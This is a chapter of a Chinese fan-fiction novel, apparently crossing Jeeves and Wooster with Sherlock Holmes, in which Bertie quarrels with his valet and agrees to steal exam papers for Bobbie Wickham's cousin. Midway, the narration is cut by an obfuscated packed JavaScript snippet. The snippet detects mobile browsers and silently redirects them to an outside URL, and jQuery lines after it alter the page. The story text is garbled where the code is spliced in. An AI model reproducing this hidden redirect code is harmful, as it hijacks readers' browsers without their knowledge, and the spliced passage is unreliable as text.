15.第 15 章

作品:《[综英美]冤枉啊!福尔摩斯

    我不知道哪里触碰了吉福斯的逆鳞,导致他一整晚都冷淡得叫我心里发慌。当然他什么都没表现出来,依旧完美地执行着男仆的职责,服侍周到。


    晚餐过后,我照常坐在钢琴前,弹奏我最近在酒吧夜总会里听到的好曲子。吉福斯走进走出,忙着家务,时不时偷瞄我一眼,但我问他有什么事,他又不说话。


    “So if your man is nice, take my advice


    如果你遇到了一个好男人,请听我说


    Hug him in the morning, kiss him at night


    要在早晨拥抱他,在夜晚亲吻他


    Give him plenty love madam, treat your man right


    要给他很多很多的爱,姐妹,好好对待他


    ''Cause a good man nowadays sure is hard to find


    因为如今好男人太难找啦!”


    我结束最后一个高音,感觉自己像只湖水中引吭的天鹅。


    “如何,吉福斯?”我欢乐地问,“你喜欢这首曲子吗?《A Good Man Is Hard to Find》(好男人太难找),最近正流行,想受欢迎就得唱它。”


    他把我买的白百合插进花瓶,摆在钢琴架上:“先生是觉得这首歌恰如其分地描绘了自己的心境吗?”


    “诶?”


    “的确,如果女士们想要找到如意郎君,必须有老鹰般锐利的视线,猎豹般敏捷的体魄,狮子般强烈的占有欲,乌龟般沉稳的耐心,老鼠……”


    “吉福斯,你说得越来越离谱了。”我打断他的比喻,“找好男人不是开动物园。”


    “如你所说,先生。”


    “狮子啊大象什么的还可以,老鼠就太离谱了。”


    “也许吧,先生。”


    “我只是感慨,比起宾果·利特尔、果丝·芬克-诺特尔、塔皮·格罗索普,霍诺瑞娅找的这个未婚夫确实人很不错。看来在婚姻大事上走不走运和个人的素质无关。”


    “先生是感到失落了吗?”


    “什么——没有!绝对没有!”我连忙抗议,“失落?你说我对霍诺瑞娅要结婚感到……吉福斯,你的鱼都白吃了,连这也想的出来。你不是一直说她不适合我吗?”


    “如果先生坚持的话……”


    “不,我不。”我双手叉腰,“收回那些话。”


    “好的,先生。”


    “我和霍诺瑞娅不可能。”


    “那我就放心了,先生。”


    “她嫁出去了我在议会大楼放炮。”


    “如你所愿,先生。”


    当吉福斯脾气不好的时候,我要学会无视他的阴阳怪气。第二天睁开眼,他捧着什么东西站在床头,浑身散发怨气。


    “先生,这件物品偷跑进你的衣柜里了。”


    我仔细一瞧:“吉福斯,我不要在早上还没喝第一口茶,就和你就衣柜问题大打出手。这件衣服哪里不好了?”


    “如果一件靛蓝色有花边的衬衫出现在嘉年华舞会上……那也非常不适合绅士,先生。你不应该在海滨乡下穿这样的衣服。”他板着脸。


    “不,这件衣服棒极了。我穿着它去和校长谈话,她保准让亨特小姐立即走马上任,出任年级长。”


    “先生……”


    “早茶,吉福斯。然后伺候我穿衣,就穿这一件。”


    “遵命,先生。”他凉凉地说。


    吉福斯视不在他审美里的奇装异服为洪水猛兽。我不禁想起上次去宾利,也因为我非要穿亮黄色的灯笼裤而与吉福斯发生龃龉。


    一路上气氛冰冷,开到滨海大道的旅馆附近,我抬头朝海里张望,还以为能看到连片的冰川。这冻僵的关系直到在路上偶遇波比·威克姆后,更是一落千丈。


    我首先看到一个在空中挥扬的红色手提包,和波比鲜红色的波波头相得益彰。她是位身材苗条纤细的美人,远看像个特别帅气的男孩穿上了姐姐的衣服。


    “伯蒂!”我将车靠边停下,她把皮包扔进我怀里,倚靠着车门,手搭在我肩上。我一晃神,再感受到的就是吉福斯两道寒冰般冷冽的目光劈下,严肃地警告我,叫我不敢乱动。


    “你在路上被抢劫了?”她问。


    “什么?”


    “我看你的衬衫……没事,伯蒂。”她亲昵地说,“你住在滨海大酒店?正好,我有话和你说,你为什么不请我喝下午茶呢?”


    真是奇了怪了,见到的每个女士都要我请吃饭。


    尽管吉福斯警惕的视线已经在我脖子上钻孔了,我还是硬着头皮说:“当然,我们餐厅见,三点半如何?”


    “好啊,然后去海边逛一逛。”


    “自当陪同。”


    “晚上再去剧院。”


    “没什么比这更妥当了,波比。”


    她在我脸上掐了一下,拎过包走远了。


    我回头看着吉福斯。他目视前方,像是在眺望远处的山坡,神色深沉而严肃,不过我还是察觉出有只气鼓鼓的青蛙正在他胸口跳跃。我知道他要说什么,他认为红头发意味着危险,就像他认定波比会给我带来无限麻烦一样,坚决拒绝我们往来。


    直到我们抵达酒店,泊好车位,他在和前台登记信息时,始终用若有若无的谴责眼神盯着我。我实在扛不住,讪笑道:“也不知道波比找我有什么事。你猜,吉福斯?”


    “威克姆小姐活泼的天性总是带来惊喜,先生。”


    “误会,过去都是误会。女孩子嘛,如果学不会调皮捣蛋的话,怎么能叫女孩子?倘若每一个姑娘都安分守己,那我们这些男人还有什么用武之地?”


    “你已经开始期待下午的行程了,先生?”


    “看起来安排还算合理。”


    “你说了算,先生。”他酸溜溜地说。


    “订位子吧,吉福斯。”我叹气。


    “好的,先生。”


    他飘走了。


    “波比。”下午我一在露天餐厅见到她,立马大倒苦水,“虽然我以前许诺过你,心甘情愿为你做任何事,但是你知道吉福斯有多过分吗——”


    “家宅不宁,是吧?”她没让我继续说下去,“人之常情。不过你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390182|198395||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不会要在餐桌上畅谈两小时你和你家男仆的‘一家之主’权利大战,对吗?”


    我只好把牢骚咽下。入座后,我才发现桌子边上还坐了个人。看到她,我立刻头皮发麻,浑身刺挠:“What ho,小克莱门蒂娜。”


    “伍斯特先生。”


    波比的表妹正在啃一块覆盆子果酱舒芙蕾。别看她乖巧白皙的脸蛋,用崇拜的目光望着我,如果你因为小姑娘的懵懂可爱而心生懈怠,误以为她们都是宗教画里吹喇叭的小天使,那你就准备好倒霉事接踵而至吧。


    果不其然,波比在翻阅冰淇淋菜单的时候对我说:“伯蒂,你能帮小克莱门蒂娜一个忙,今晚半夜翻进学校里偷试卷吗?”


    我点的巧克力软曲奇刚端上桌,什么又白又大的东西扑到桌子上,土匪般抢劫了我整个盘子。


    我看着海鸥飞到空中,纳闷它们怎么那么有食欲,而我的胃却开始抽痛。


    “她今天也是偷跑出来的?”


    “什么?不,她今天请假出来的。”她咬牙说,“唉,你不知道克莱门蒂娜班上有个刺头儿艾丽莎多可恨,专盯着她找麻烦!她要是偷跑,准在十分钟内就汇报到舍管员那里去了。”


    “为了好好教训她一顿,堵上她的嘴,克莱门蒂娜和她约定好要在下周的拉丁语文法考试上决出胜负。你说,还能有什么办法叫她颜面扫地,甘拜下风吗?”


    “呃……好好学习?”


    “你在说什么蠢话,伯蒂。”她翻了个优雅的白眼,“果丝·芬克-诺特尔还说你当初在小学里获得圣经知识奖全靠作弊。”


    我险些要一头昏倒过去。


    “你压根就不知道事情的全貌,老伙计。那次考试有人在我们学校里开盘,我可是大热门,在我身上下注的人不少,赔率也很可观。大家都红了眼,使出浑身解数势必要在圣经知识奖上一决高下,这种时候靠背书是没有出路的。我身上担子重啊!”


    “那好吧,现在克莱门蒂娜也一样。”


    我只得搬出其他人,试图让她知难而退:“霍诺瑞娅还吩咐我去学校给她办点事呢!”


    “哦。”她一瘪嘴,“你们又订婚啦?已经第三次了吧?”


    “才没有!我是出于兄弟之情。她好歹拜托我去找工作的,要是我被警察抓了,你叫我怎么和校长开口?”


    “那你别被抓呀。”她说,“你不能被抓,你要把试卷偷出来给我们。卷子,加答案,如果你看不懂哪个是答案的话,就让你家吉福斯写一份答案给我。”


    “可是……”


    “霍诺瑞娅的忙可以帮,我就不行吗?”


    谈话到此为止了。“不要在一位女士面前提及另一位女士。”我脑袋发昏,居然把这句至理名言给忘了。既然我答应帮霍诺瑞娅做事,现在我拒绝波比,岂不是暗示她不如对方。不,有风度的绅士决不能让女士感到受挫。


    于是我只好答应了。


    波比喜笑颜开,语气温柔体贴,叮嘱我:“你进学校以后,一定要小心。”


    “我知道,别让警察再抓住我嘛。”


    “不,和警察无关。”她和克莱门蒂娜一起用圆滚滚的大眼睛注视着我,“学校里闹鬼。”